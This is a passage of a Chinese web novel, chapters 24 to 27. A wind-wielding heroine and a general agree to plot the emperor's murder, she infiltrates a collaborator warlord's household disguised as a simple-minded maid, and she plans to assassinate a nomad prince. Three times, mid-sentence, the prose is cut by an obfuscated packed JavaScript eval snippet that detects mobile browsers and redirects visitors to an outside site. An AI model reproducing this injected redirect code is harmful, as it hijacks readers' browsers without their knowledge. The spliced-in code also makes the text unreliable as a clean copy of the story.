残月如钩。 一艘大船缓缓靠岸，帆索未及收紧，岸上便有数道火把亮起。 江鱼探头往岸上望了一眼，高声道：“将军来了。” 陈青眼眶一热，连忙整了整衣衫，跳下船便跪地行礼。 宗恂立在最前，目光一扫，落在三人身上。“辛苦了。” 江鱼与陈青激动地说起途中种种，燕风却始终沉默。她身上裹着破旧的外衣，脚上是已经踏破的靴子，一双眼里映着无边的沉寂。 一柱香后，更深露重，军帐内还亮着灯。 宗恂正独坐案前翻看地图，帐外忽然传来一阵极轻的异响。他笑了笑：“既有话要说，怎不进来？” 屋顶果然一静，不多时，帘幕轻动，一道身影步入帐中。 燕风披着一件未干透的外袍，发间挂着水珠，眼底满是踌躇。 宗恂伸手往对面点了点：“坐下吧。” 燕风指尖摩挲着膝上的衣角，片刻才开口：“你怎知我们会在这个时候回来？” 宗恂给她端了杯水：“船那么大，怎么可能瞒得住人？” “可即便如此，也不会如此准时，深夜在此等候。” 宗恂笑了一声：“那你觉得呢？” 燕风低头沉思，心里乱得很。她不想贸然说出罗同的名字，既然他没有选择同她明着相认，那便是还有顾虑。 可她实在太累了。 “我可以相信你吗？还是说，这也是一次试探？”她着意咬重了‘也’字。 帐中一时寂然，火光映得两人脸上忽明忽暗。 宗恂收起脸上一贯和煦的笑容，认真地看着她。 “我记得你刚来的时候，我递给你一盒糖糕，你却像见了骇人之物，一下子便把手缩了回去。” “那时我便猜到了。” 燕风怔了：“你知道？” 宗恂嘴角一丝苦笑：“三年前，我父亲宗谦败逃的前夜，他的属下与他分食的，正是我母亲亲手做的，又快马派人送去的” “一盒被下了毒的桂花酥。” 24. 共谋 “接着是阳高城大火，尸身尽毁，死无对证。而后边瓦入关，北地十室九空。” 燕风怔怔地看着他。 “再之后，西北镇守太监蒋直横死。死前数月，他突然开始‘关照’佛门弟子，由北向南搜捕年轻僧人。世人都道他色胆包天，我却觉得，他是在找人。” “找一个年轻的幸存者，光头。” 他目光落在她肩后披着的长发上：“三年不剪发，正好是你现在这般长度。” 分毫不差。 她沉默了一瞬，才低声问：“那你站在哪一边？” 一边是穷其一生也未曾谋面几次的父亲，另一边，却可能有从小陪伴他的母亲。 宗恂却笑了，“这话我原本想问你。” 他望着她，柔声道：“但现在我知道了。我们站在同一边。” 燕风愣住了。她意识到自己已经很久没有去想过一个事实：那个挑起边瓦之乱，让她在灰烬中苟延残喘的祸首，那个她恨之入骨，誓言复仇的对象。 其实也是她的血亲。 她心中泛起一丝难言的苦楚。 “是……是罗同告诉你的吧？你让我们去南边，除了粮草，最重要的，是想让他们找到我，对不对？” 宗恂没有否认。 “我猜得没错的话，他有某种特殊的能力。比如读心？” 她后来才回忆起，罗同当时只是触了触她的头，就好像读懂了她所思所想。 宗恂道：“你很聪明，也接受得比我快。当时我花了不少时间才相信，世上真有能读人心思的术法。” “大概因为你同他们一样都是不寻常的人。你的能力，若我没猜错，是控风；罗师父能读心和操控，还有另一个擅长幻术的人。只是罗师父常叮嘱我：能信的人，只有他，其他人最好都远离。” “你信他？” “信，但也不全信。他从不说自己的过往，却总在我危急时刻出现，我想知道他为何愿意倾囊相助，却从未得到答案。” 他看了她一眼：“或许你知道？” 燕风低下头，指尖又开始摩挲茶杯。 罗同于他们这些无依无靠的孤儿，确曾如父如母般给予过许多温情。但她也看得出，他骨子里却是个极骄傲的人，对世事洞若观火，亦因此淡漠疏离。世间芸芸，能入他眼者寥寥。 除了宗谦。 她记得罗同看向大将军的眼神，那眼神让她想起她自己。她幼时望着檐下武剑的宗恂时，大概也是这副模样，仿佛世间的光亮，都集于那一人而已。 那么罗同呢？他凝望之时，心中淌过的又是怎样的风景？ 她想了想，轻声岔开话题：“你可知，这些异人为何要找我？” 宗恂没有避讳：“他们在找一个人，一个继承了皇帝某种能力的皇子或者皇女。这个人，应该就是你。” “你说……继承？” “罗师父不曾明说，但事实应当如此。继承。” 燕风脸色发白：“那他的能力……是什么？” 她第一次不敢直呼那人名讳。 “我不清楚。但罗师父曾告诫我，绝不要靠近皇帝。他们曾有位同伴自负天赋，独自前往刺杀，结果没多久就叛变，如今成了最棘手的敌人。所幸那人所知有限。” “能令强者叛变吗，这样的力量。也许……真的是天命所归。” 宗恂缓声安慰：“别担心，既然他们费尽心力找到了你，又处处考验，便说明这世间必有克制之法。而那方法，或许就在你身上。” 燕风苦笑：“一年前，我曾趁陛下出宫祭祖时混入人群。本想舍命一击，可越靠近他，我的控风之力便越微弱，如同被无形之物彻底压制。百步之内，我与常人无异，丝毫施展不得。” “你是说，你一靠近他，就失去了能力？” 燕风点头：“是。我那时还以为是我临阵怯懦，现在想来，怕是另有缘由。” 宗恂突然低声道：“那他呢？” “他？”燕风一时没反应过来，“你是指……皇帝？” “你和罗师父几人一起时，彼此并无妨碍。可你一近陛下便失了控风之能，那他若靠近你，是否也一样？” 她呼吸一滞。 “罗师父他们不是无的放矢。”宗恂道，“既然如此苦心寻你，便意味着你存在本身，或许正是牵制皇帝的关键。” 燕风若有所思：“可他身处九重宫阙，守卫森严，我连百步之内都难以靠近……” 两人一时无语。 良久，燕风轻声打破沉默：“其实这三年来，我还有一个愿望，只是那很难，比复仇更难。” “可今天，看你这么快便稳住了北地的局势，我突然觉得，那未必只是妄想。” “宗将军，你来北地，真的只是机缘巧合，情势所迫吗？” 宗恂神情动容。 她低声笑了笑，替他回答：“收复失地，建功立业，做天子近臣，以便——” 她伸手蘸了些茶水，在桌案上写下两个字： 弑君。 “然后，”她声音低柔，语气却如誓言般坚定，“替他们正名。” 她望进他眼底：“如今你掌兵符，却非兵强马壮的万全之师。所以，你还缺一个人，一个能潜入暗处、为你铺路的人。” 她缓缓倾身，行了一礼。 “宗将军，可愿与我共谋此事？” * 北地边城，朔风初起，虽是初秋，寒意已有些刺骨。 这一带的百姓，早已习惯在边瓦铁骑的阴影下过活，也习惯了那些倚仗胡人余威、凌驾于同胞之上的话事人——他们也曾是大靖的子民，如今却成了这片土地上狐假虎威的土皇帝。 各方势力之中，以青阳镇王家最为势大，其背后倚靠的，正是边瓦中以凶悍闻名的塔木儿部落。此外，落川陆家、临水何家亦各据一方，彼此牵制。 三家表面维持着和气，私下却暗涌不断。谁都盼着另两家倒下，好让自己成为边瓦在此地唯一的代理人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485530|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕风此行的第一站，便选在了青阳。 她白日藏身废弃民宅，入夜则伏身屋脊之间细听密语，渐渐探明了城中脉络：青阳的城主王守举，乃当年投胡为寇的急先锋。其妻李氏，早年出身风尘，曾随王守举避战乱、躲追兵，两人也算是生死夫妻，只可惜李氏从前熬坏了身子，至今无子，常年求佛问药，只望得个一儿半女。 燕风的计划，便从李氏下手。 接连数夜，她潜伏在李氏寝房屋顶，时而做出幽咽低鸣，时而撒落石子发出碎响。若有人同宿，屋顶便静默如常；一旦李氏独眠，那声响就如从阴间渗来，缠着她不放。每每扰得李氏半夜惊坐而起，派人查看，却什么也找不着。 如此反复，李氏心神渐溃，终是信了撞邪之说。没过几日，她便亲自动身前往城外观音庙，烧香许愿，求个安宁。 这日正是十五，城中照例有戒严。 李氏只带了几名护卫与婢女，这厢正跪拜叩首，忽听身后一阵嘈杂。 几名粗衣大汉闯入寺前台阶，挥舞棍棒直扑香客，顷刻便制住了衣着最显赫的李氏。 婢仆四散，不敢上前，只惊惧观望。 “这是城主的女人！杀了她！杀了这吸血的母夜叉！”有个大汉厉声吼道。 便在此时，一道破锣般的声音响起：“杀她有何用？她男人巴不得你们动手呢！有种你们冲城主去！拿个妇人撒气算什么？” 一个衣衫褴褛的女乞丐自人群中踉跄冲出，竟是唯一一个逆着人流向前的人。 贼人们一愣，转而哂笑：“哪来的疯婆子？滚一边去。” 女乞丐不气馁，又尖刻道：“她死了，你们就是替她丈夫娶新婆娘抬花轿的狗。他可要乐坏了！” 为首的络腮胡勃然大怒，挥掌便掴。女乞丐却猛地扑上，手中不知何时多出一柄锈蚀的短刀，狠狠扎进他腰侧。 对方痛呼一声，本能松手，女乞丐便趁机拉起李氏要逃。 两人踉跄奔逃，眼看就要逃出生门，络腮胡却狂吼着掷出腰间短刀。寒光一闪，直没那女乞丐后心。 女乞丐脚下一软，扑倒在地，却还死死推着李氏。 “快走！” 婢仆们这才惊醒，赶忙一呼而上护住夫人。那群壮汉见势不妙，仓皇而逃。 李氏得救之后，第一时间回身，见那女乞丐浑身是血，命若游丝，不禁红了眼眶。 她蹲下扶住她，问道：“好妹子……你我素不相识，为何舍命救我？” 女乞丐气若游丝，声音断断续续道：“听你口音……是老乡……你又来拜菩萨……心善……” “我的妹妹……她……她脑子坏了，小时候发烧……没了我……活不下去，你替我……替我喂她口饭吃。” 李氏问：“那你妹妹，她现在在何处？” “东街破棚子里……叫阿红，她很乖……好孩子，你可怜她……叫她做牛做马都行……给口饭吃……” 话音刚落，女乞丐眼睛一闭，再也没了动静。 25. 入池 李氏惊魂未定，便拜托寺庙里的僧众将女乞丐厚葬，又立即派人去信家里。 家里婆子赶到东街，果然在那破败棚屋中找到了一个缩成一团的叫阿红的痴傻女孩，模样瞧着和那女乞丐有八九分相像。 阿红被接回王家大宅，李氏亲自安排她住在自己院中。 众人知晓她的身世，一开始皆对她心生怜悯，并未派她什么活。谁知这孩子如她姐姐所言，性子十分乖巧，骤然有人肯施饭施衣，她感恩得战战兢兢，什么事她都抢着去做，从不抱怨。 李氏管得住自己院里的人，却看不住整府宅的下人。日子一久，其他院子的人还是渐渐习惯了差遣她跑腿帮忙。 阿红心眼子太实，也都只管点头应下，李氏若问起，她多半只是憨憨地笑，从不出卖。 李氏将这一切看在眼里，心中疼惜之情更甚。 更奇的是，自从阿红来了之后，夜里那些诡异的声响竟再未出现。 李氏暗想，许是自己积了善缘，佛祖垂怜，才帮忙驱散了那些魑魅魍魉。 是以，阿红虽名义上仍是下人，在李氏心中却似半个亲人，衣食用度皆得了宽待。李氏连对她说话的语气，也比对旁人温柔几分。 阿红到王家的第十五个晚上，一道黑影自王宅掠出，翻墙跃檐，转瞬融入夜色。 她行止无声，身姿矫健，一路穿行至西市外的一间废弃民宅。 月光下，一名衣衫褴褛的男人早已等候多时，见她落地，连忙迎上。 “怎么才几日不见，你脸看着都大了一圈？”男人上下打量她，调侃道。 阿红抬眼一瞪，黑白分明的眼仁中哪还有平日里半分傻气。 “羡慕了？不吃白不吃，我现在一天八顿，争取下回我来扮络腮胡，你扮女乞丐，被活埋吃土去。” 那男人正是陈青，闻言笑着挠头道：“行行行，你说了算。不过那天我的演技是不是还行？” 装了十多日傻子阿红的燕风笑着点头：“不错，咱们配合越来越默契了。也替我带句话给江鱼，她确实机灵，要不是她引开了人，我还真不知道要在土里躺到什么时候。咱仨以后混不下去了，凑一块也饿不死。” 玩笑归玩笑，她又说回正事：“对了，你们那边进展如何？” 陈青低声道：“我这边顺利，王家派来追我的人腿脚不行，我故意放了几次水，才把他们带到了落川陆家的地盘。江鱼也安全撤回去了，动作麻利得很。” 燕风点头：“我这边也不差。王家书房我现在熟得跟进自己老家似的，他们果然在陆家和何家安插了探子。每月都会收到一份密信。你回去带话给将军，让他按原计划行事，给陆家送一份招安书，记得别太低调了。” “行。你也小心。”说罢陈青便翻身跃上屋顶，转眼消失在夜色之中。 燕风也不敢多留，迅速潜回王宅。只是快到时，她看到自己小屋附近似有黑影一闪而过，蹑手蹑脚，像是在窥探什么。 她眉头一皱，避过主道，悄悄从另一头走回屋后。 月光下，只见一个矮胖的女人正鬼鬼祟祟探头探脑。 燕风认得，那是赵氏，夫人李氏的表妹。 赵氏几年前父母亡故，她带着几身破衣裳投奔王家，哭诉自己孤苦伶仃。李氏念着亲情，便把她安顿下来，留在内院住着。 赵氏自觉姿色不差，又是李氏亲戚，心思便活络起来，屡次想攀附姐夫王守举，借机上位，却始终未得青睐。 她不觉是自己不入眼，反暗觉得是表姐李氏嫉妒故而从中作梗，心中暗恼。这回见李氏突然收了个年轻俏丽的傻丫头，赵氏心中警铃大作，几番试探皆无果，便认定这是李氏找来固宠延嗣的工具。 她自己在王宅多年毫无进展，如今突然杀出个傻子劫道，叫她怎能咽得下这口气？ 她也尝试了暗里挑拨，但被李氏喝斥了几回，于是晚上便总鬼鬼祟祟来附近溜达，想着抓阿红的把柄。 今夜便是如此，此刻她见屋里没人，心中七上八下，唯恐这傻丫头真去爬了姐夫的床。 “赵、赵姐……您找啥呢？” 突然身后却传来一声傻气的嘟囔。 赵氏猛一回头，便见阿红揉着肚子，一脸懵懂地站在那儿。 “你上哪儿去了？”赵氏眯起三角眼。 燕风拍拍肚子：“阿红肚子不舒服……上茅房了……” 她早有防备，进出时特意反锁了茅厕的门。 赵氏狐疑地瞥了她一眼：“你最好是。” 说罢拂袖而去，嘴里还念念有词：“便宜外人，不如便宜自家人……” 燕风站在原地，目送她离去，嘴角缓缓勾起一抹笑。 这府里一日比一日热闹。 正好，乱局中才搅得出风浪。 * 这日清晨，王宅里依旧规整而忙碌。 天气越来越冷了，院中晨雾还未散尽，几缕炊烟便在厨房里早早升起。 李氏在堂屋内擦着佛龛前的供桌，忽而唤道：“阿红，给佛爷再敬柱香。” 阿红裹着厚袄子跪在蒲团上，动作笨拙地捧着香，抬头看着她笑：“添了的话，佛爷也会像夫人这样待阿红好吗？” 李氏失笑，伸手刮了刮她鼻子：“小傻子。” 她今儿心情颇好，不仅赏了阿红一大块麦芽糖，还让厨房煮了锅肉粥，亲自盛了一碗递给她。 阿红抱着粥碗，一口一口吹着吃，像只捧着果实的小兽儿，咂咂嘴，笑得十分可爱。 粥还未喝完，门外忽有个老仆低声来报：“夫人，老爷回来了，现在在偏厅，打发人都退下了，说要您去见他。” 李氏放下手中拭布，稍作整衣，便匆匆往偏厅去。 偏厅里窗户紧闭，炉中炭火噼啪作响。 王守举披着一身狐裘，神色凝重，见她进门，便直言道：“陆家收到了朝廷发的招安书。” 李氏一怔，随即皱眉：“朝廷装死好几年了，这时候想起来招安了，陆家难道做了什么？” “不清楚，咱们的人说还没探到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485531|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”王守从怀中取出一封密信，字迹凌乱，火漆未干之处仍透着焦气。 “送信的人是夜里摸进来的，没惊动旁人。”王守举低声道，“你我之外，谁都不能知道。” 李氏点点头，目光落在他指尖那封信上：“那咱们怎么打算？” “容我再想想。” 过了一会儿，王守举又道：“还有一事，那次绑你的人都抓到了，都是些本地的痞子，一问三不知。就那个带头的络腮胡汉子，在陆家地界突然不见了。” 李氏深吸一口气，刚想开口，门外忽然传来细碎脚步声，一阵敲门声响起，伴随着一个娇媚讨好的声音。 “姐夫，我刚熬了热粥，是过冬最补身的胡桃糯米，您喝一碗吧。” 王守举本就心烦，一听赵氏声音，脸色更沉了几分：“怎么偏在这时候来？” 门从外面被推开，赵氏笑盈盈地捧着热粥站在门外，一袭鹅黄袄子更衬得她脸上铅粉白得发灰。 她低眉顺眼地递上粥碗：“我知道您忙事顾不上饮食，怕您饿肚子不舒服……” 王守举脸一沉，冷声：“谁让你来的？” “我就是怕您——” 粥碗未递稳，王守举袖子一甩，整碗粥打翻在地，热气裹着碎瓷溅了赵氏一裙子。 她忍痛退了几步，脸上却还强撑着笑。 门外几个小丫头看呆了，有人没忍住笑出了声。赵氏面上顿时红白交错，羞怒交加。 王守举甩袖离去，头也不回。 赵氏咬牙朝表姐行礼告辞，转身时正撞见在回廊转角处坐着的阿红。后者正傻呵呵地啃着糖，望着她乐。 “你笑什么！”赵氏怒火腾得而起，指着她骂。 “你个野丫头，也配住在王宅？勾人手段倒是学得快，哄得表姐对你比谁都亲，你想着爬高枝，有你哭的时候！” 阿红吓得呆住，握着糖的手微微开始发抖。 “住口！”李氏已走过来，“大白天发什么疯！再胡说八道，收拾东西立刻滚出去。” 赵氏一甩手，气得再也顾不得体面：“我发疯？若她是陆家何家的小姐也就罢了，偏偏是不知道从哪儿冒出来的野丫头，您倒是当宝似的供着！外人都得便宜，轮到自家姐妹，您一个铜板都不赏！” 李氏原本冷静的眼神猛地凝住了。 陆家的小姐…… 她忽然想起，陆家与他们初来往时，确曾提及家中幼女年方二八，通文识礼，性情温厚。 绑架她的匪首，偏偏在陆家地界消失。夜里又送来了陆家收到招安的密报…… 种种线索，骤然串成一线。 招安若成，陆家自然是上岸成佛；若是不成，只要她这个正妻消失，陆家小姐便可名正言顺嫁入王家。两家联盟，正合时宜。 她唇角冷冷一勾：“好一个两头下注。” 赵氏被她眼中的冷意震住，怔在原地，不敢再言。 李氏再不管她，转身拂袖而去。 今夜，她得好好同丈夫谈一谈了。 26. 潜鳞 陆家的根基在落川。 落川地势险要，南接大靖，北连青阳镇，正当两方咽喉要地。它东西两面山地环绕，南边唯有一道峡谷可通行，名叫龙脊峡。龙脊峡地势极陡，峭壁如削，峡中最窄处仅容一骑穿行。 正因如此，陆家虽是北地三家中实力最弱、位置最南，却因龙脊峡天险，反倒这些年来高枕无忧。 可一旦陆家顺了朝廷的招安，从龙脊峡放行兵马，沿途再无阻碍，大靖兵锋便可直指青阳镇。此消彼长之间，局势立转。 王守举深知其中利害。 这回收到的密信，说的是陆家收到了朝廷送来的招安书，但并没有写陆家的态度。 他疑心陆家早与朝廷暗通款曲，却对自己只字不漏，摆明了是要绕过他，甚至拿他王家当投诚的献礼。 他如芒在背，却又不敢妄动：若陆家本无叛心，自己这一逼，反倒真将其推入朝廷怀中，那时便再无转圜余地。 李氏看出了他的迟疑。 是夜，两人云雨方歇，她贴在丈夫胸前，细语软声，却在不经意间把话题引到了陆家。 她丝毫没提自己所受之辱，反倒站在王守举的角度，将这些年来陆家种种不是，娓娓道来。 “陆家何曾真把我们放在眼里？都落草为寇了，还总说什么祖上显赫，假清高……” “连每年孝敬边瓦的好处，他们也总明里暗里要压我们一头。你如今帮他瞒着，他背后是不是真攀上了谁，谁又知道呢？” 她轻叹一声：“若哪天真有朝廷兵马从龙脊峡杀上来，你我还能站在哪边？” 王守举一夜无眠。 第二日一早，他亲自赶往塔木儿部，向那边的头人将密信一事细细讲明。塔木儿部素与陆家背后的阿勒坦部不睦，双方一拍即合，定下先发制人之计。 一封密信就此送往王帐，信中言之凿凿，声称陆家已私下接受朝廷招安，并与大靖暗中往来，阿勒坦部亦参与谋划，早怀异心。 这封信真假参半，既有根据，也添油加醋，目的只有一个：让王帐对陆家与阿勒坦部心生疑忌，王家和塔木儿部便可趁机各取所需，甚至一举吞并。 不出半月，北地局势突变。 塔木儿部调兵遣将，率先直扑阿勒坦部腹地。阿勒坦部虽被打得猝不及防，却也奋起反抗，同时急遣信使往王帐求援。 但送信的还未走出几里，王帐的兵马便已悄然现身，东西两路合击之下，阿勒坦部迅速崩溃，传言部族大帐被焚作白地，山谷中哭嚎不绝，血水渗入泥土，来年春草定格外茂盛。 同日，王守举带着兵马自青阳镇一路南下，很快便悄然列阵于落川城下。和王家兵马同至的，还有阿勒坦部覆灭的消息。 陆家大惊，草草议降，可降书未定，城外兵锋便已推至府门之前。 当夜落川城内火光冲天，陆家百年痕迹，就此抹尽。 王宅的日子并未因这场腥风血雨有丝毫停滞。 腌菜坛子摆满了角落，说是要多备些过冬。府里人手不够，大娘们便叫阿红帮着一起劈柴、抬水、拣菜，说她虽有些呆气，力气倒不小，很堪用。 往日给府里厨房送柴的是个头发斑白的驼背老头，寡言少语，却是多年的熟面孔。可不知哪天起，那老头忽然就不来了，换了个年轻人替他。 那人说是老柴夫的孙子。 高高的个子，却和他爹一样总是佝着背，整个人弓得像一只弯钩，腿上还有伤，走起路来一瘸一拐，一看就是个可怜人。 “驼子家的小子，腿是几年前边瓦乱的时候让马踩的，骨头断过，走路才这样。”厨房的老婶说。 那人几乎每日都来，大多是一清早天还没亮，或黄昏快要收拾的时候。 燕风第一次见他，是在后院井边。 她在打水，那人扛着一大捆柴从墙角转出来，没吭声，就那么弯着腰从她身后走过，带起一阵微凉的穿堂风。 她回头瞥了一眼，只觉他衣衫破旧行走也不便，背上那捆柴却整整齐齐，系得很利索。后来几次在柴房碰见，那人也都是不声不响做完事就走，一点也不起眼。 燕风不是故意多看他，那人没什么好看，模样寻常得很，眼神也木木的。可每次他来，她不知怎了总下意识要瞥几眼。 “哎哟，咱这小妹妹也到了年纪啦。”厨房大娘笑着用胳膊肘碰碰她，“近来眼睛总往那瘸子身上黏呢。” 旁边人跟着起哄：“这眼光可真行，一个瘸子一个傻子，配一对正好！” 大家都在笑，傻子阿红也只好跟着咧嘴。 这日黄昏，她在厨房剁菜，忽听院里有响动，出去一看，那人正蹲在柴房前，裤脚湿了一片，大概踩进了水洼，跛着腿起身时有些吃力。 她转身回厨房，拿了把破布丢给他。 那人接了，抬头朝她点点头，两人目光只相交了一瞬便又分开了。 他重新坐在门槛上，低头专注地擦着裤脚。夕阳淡淡落在他弓起的脊背上，燕风站在檐下看着，心里莫名觉得挺宁静。 又过了一个月，正是与陈青约定之期。 夜色浓重，野狗的吠声远远传来又散去。燕风照例趁着后院熄灯，从角门翻出去，一路潜行到了老地方。 陈青早在那等着了，见她来，低声贺道：“干得漂亮！陆家已经倒了，阿勒坦部也没了，边瓦这回是自断一臂。将军说，你此番功劳不小，该回去了。” 燕风却皱眉，“这么快？” “塔木儿部先动手，阿勒坦部措手不及，信还没送出，王帐的人马就到了，东西夹击。”陈青感慨：“不愧是蛮子，杀起自己人来也那么狠。” “陆家呢？” “陆家一听到消息就慌了，当场就降了。可降也没用，该杀的还是杀，听说城门口挂了十几颗人头。” 燕风沉默片刻。 陈青看她一眼：“你倒像没听见我说你可以回来了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485532|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 燕风摇头：“陆家是没了，王家还在。王守举如今得了落川，等于一口气吞下三成北地。我好不容易混进来，若现在就走了，下次再想进来可就难了。” 陈青叹口气：“我也想过再探探，可将军就是让你回。” “他说缘由了么？” 陈青摇头：“没说。” 燕风换了个问法：“那你最近，听见边瓦那边有什么新动静没有？” 陈青想了想：“倒是有个传闻，脱脱不花的小儿子，好像要来这附近了。” “这人叫什么？” “这我真没听清，人家那边喊的名字拗口得很，好像是萨尔图还是什么的。”陈青挠头，“反正是个角色。听说这人狡猾狠戾，手底下从不留活口。” “那他来做什么？” 陈青啧了一声：“没人明说，但私下都在猜。这次王家联合塔木儿部干掉了阿勒坦，王家在北地地位一口气拔高。可萨尔图一向不喜欢他们，估计是觉出了些蹊跷，来瞧瞧。“ 燕风面色微变。 陈青继续道：“萨尔图的老子脱脱不花是老派，他信的是马背上的规矩，觉得种地会让人的骨头变软，所以一直靠王陆何三家圈住汉民，自己只管收利。萨尔图不同，他痴迷中原文化，诗书琴画样样学得精。他说王帐该真正扎根北地，不该假手外人。他想彻底占下这块地，修城种田，学汉人那般经营。你说可不可怕？” 燕风低头沉思，良久才道：“那我便不能走了。” 陈青一愣：“你说什么？” “这人既有野心，又有远见。若真让他掌权，北地就真是他们的了。”她眼神坚定，“如今他初来乍到，根基未稳。若能趁此杀他，不仅能搅乱其内部，还可嫁祸王家，一举两得。” “你疯了？这种人是你能动的？将军说不让你留下，八成就是怕你沾上他。” “将军什么都没说。”燕风眼角飞起一点倔强，笑道：“放心，真有事，你见过有谁跑得比我快？” 陈青张张嘴，终究没再说出什么来，只叹了口气。 “早知道不多这个嘴了。” 暗杀萨尔图，燕风觉得对自己来说应该并不算难。 再厉害的人也是人，是人就得吃喝拉撒睡，一天之中总有几个时辰是防不住的。 她想得极简单：那就是趁对方最疏于防备之时，从远处屋顶上一箭封喉，再以自己引以为傲的轻身功夫遁走。 计划的关键在于：她绝不能近身。 虽多亏了罗同赠的武学秘册，她的拳脚功夫近来突飞猛进，但在真正的绝顶高手面前，她那点身手终究还是小孩子玩泥巴。 故而她唯一的胜算，只在远攻与疾退之间那道细微的机变。 但难的从来不是如何动手，而是何时动手。 她必须看清楚萨尔图的作息、脾性、身边人的布防……一切，都必须完美。 机会只此一次，失则万劫不复。 27. 临崖 贵客来的这一日，整个王宅上下自清晨便如临大敌。 众人严阵以待，直至晌午，才终于听见巷外传来阵阵铁蹄声响。接着，阿塔木部的金旗映入眼帘，旌旗火红的尾羽仿佛在天空中斜斩出一道血痕。 两骑当先，前马上的青年是阿塔木部少主合鲁台。他年不过二十，生得面色黝黑，虎背熊腰，一身草原人特有的粗犷气魄。 然而，比起此刻落后他半个身位的那位青年，他却顿时成了陪衬。 后马上的人约莫二十出头，生得极是出众，五官深邃又不失俊朗，左耳垂着一枚白玉耳铛，衣着一袭月青对襟长袍，腰束镶金玉带。头上黑发绾作中原士子的髻，斜插一支乌金簪，簪端缀着一缕金雕翎，褐金交映，随步微扬。 他举止风流潇洒，眉目间却暗藏锋芒。一双狭长的眼仁黑得发沉，对上便教人脊背生寒。 这正是脱脱不花幼子，阿塔木部眼下最尊贵的客人，萨尔图。 王守举早早率众跪候在门前，远远见到旗帜便伏地磕头：“小人王守举，恭迎萨尔图王子，少主大人——” 他身后的李氏也着了正装，跪地行礼。她虽性情刚硬，此刻也低眉顺眼不敢抬头。 下人们更是早躲得远远的，只在门廊柱后跪着，连大气都不敢出。他们早便听说此人行事乖戾、最爱戏弄中原人，谁若撞了他眼，那就是一场无妄灾祸。 只有赵氏恰恰相反。 她今日特意梳了个未出阁少女式样的丫髻，描了飞眉，朱唇点得艳艳，穿着新做的翠绿褙子，不顾天寒地冻也要现出窈窕身段来。 她跪在李氏身侧，看着萨尔图下马，目光不加掩饰地灼热，心中更是浪潮翻涌。 这等模样，还出身尊贵，若能攀上……她心中早已演了十出好梦。 而院中一角，阿红也跪得端正，她抬眼看见萨尔图，心中却一凛。 他和她想象中的敌人不同，没有张牙舞爪的凶相，反而看着文质彬彬。可就是这种人，往往才最危险。 她低下头，正欲避开，萨尔图却偏偏瞧见了相貌出众的她。 “那个，是谁？”他忽地停住脚步，指着燕风，微笑着问。 王守举一愣，还未开口，赵氏便凑上来，娇声道：“她是宅里收的傻子，唤作阿红。生得倒干净，就是脑子不好，平日也就劈劈柴做些粗活罢了。” 萨尔图没接话，只似笑非笑地盯着燕风看了一眼。那一眼，像是把刀，将燕风从头到脚剖了一遍。 她故作惊慌，低声呜咽两句，躲到柴垛后头。 李氏不动声色上前，微挡在萨尔图看向燕风的视线前：“王子见谅，这孩子怕生人。” 萨尔图不置可否，随合鲁台入了正厅，吩咐要热水、软床、酒肉伺候。 王宅上下一片小心翼翼，生怕惹贵人不快。 夜色降临，王宅里宴席正酣。 厅内灯火辉煌，香炉氤氲，然而一名年幼的丫头因紧张而手抖，突然将银杯摔落在地。酒水四溅，脏了萨尔图的衣角。 众人顿时心头一紧。 丫头惊惶地连连磕头。萨尔图刚皱了皱眉，合鲁台便霍然变脸，一脚将那丫头踢翻在地，暴喝道：“蠢货！污了王子衣裳，你该死！” 那丫头重重撞在柱子上，嘴角涌出血来，却连哭都不敢出声。 合鲁台竟还要拔刀：“这么没用的手不如砍了。免得再抖。” 刀出半鞘，寒光逼人。 萨尔图终于开口：“别见血。” 他语气淡淡，连眼皮都懒得抬一下。“脏。” 王守举立刻反应过来，连声应下，脸上堆满笑容：“王子息怒，息怒。这等奴才回头一定重罚，决不让她再碍贵人眼。” 他一挥手，那丫头便被拖了下去，在砖地上留下一道蜿蜒的血迹。 “去补个人来。”李氏低声吩咐。 后院的丫头听说前厅发生的事，个个面如土色，低头不语，谁也不敢往前一步。不知谁小声道了一句：“要不……让那个傻子阿红去吧？” 众人眼神便齐刷刷地落在了角落里那个痴傻女孩的身上。 燕风低头垂眸，眼中沉静。 她其实可以不去，也确实不该去。那个萨尔图看起来是个极其敏锐的人物，在他面前还是越少暴露越好。 但她知道若再推诿，恐怕还会有别的丫头遭殃。况且，若能借此近距离观察敌人一番，也未必不是机会。 于是她没有拒绝，随着来引人的丫头，默默跟了上去。 进了正厅，艳香扑鼻。 萨尔图与合鲁台身边各有一名美妓侍奉，俱是城中最出名的花魁。王守举花了大价钱请来，只为讨他们欢心。 合鲁台早将先前的暴戾抛在脑后，醉眼迷离地任由那女子抚肩斟酒，咯咯而笑。 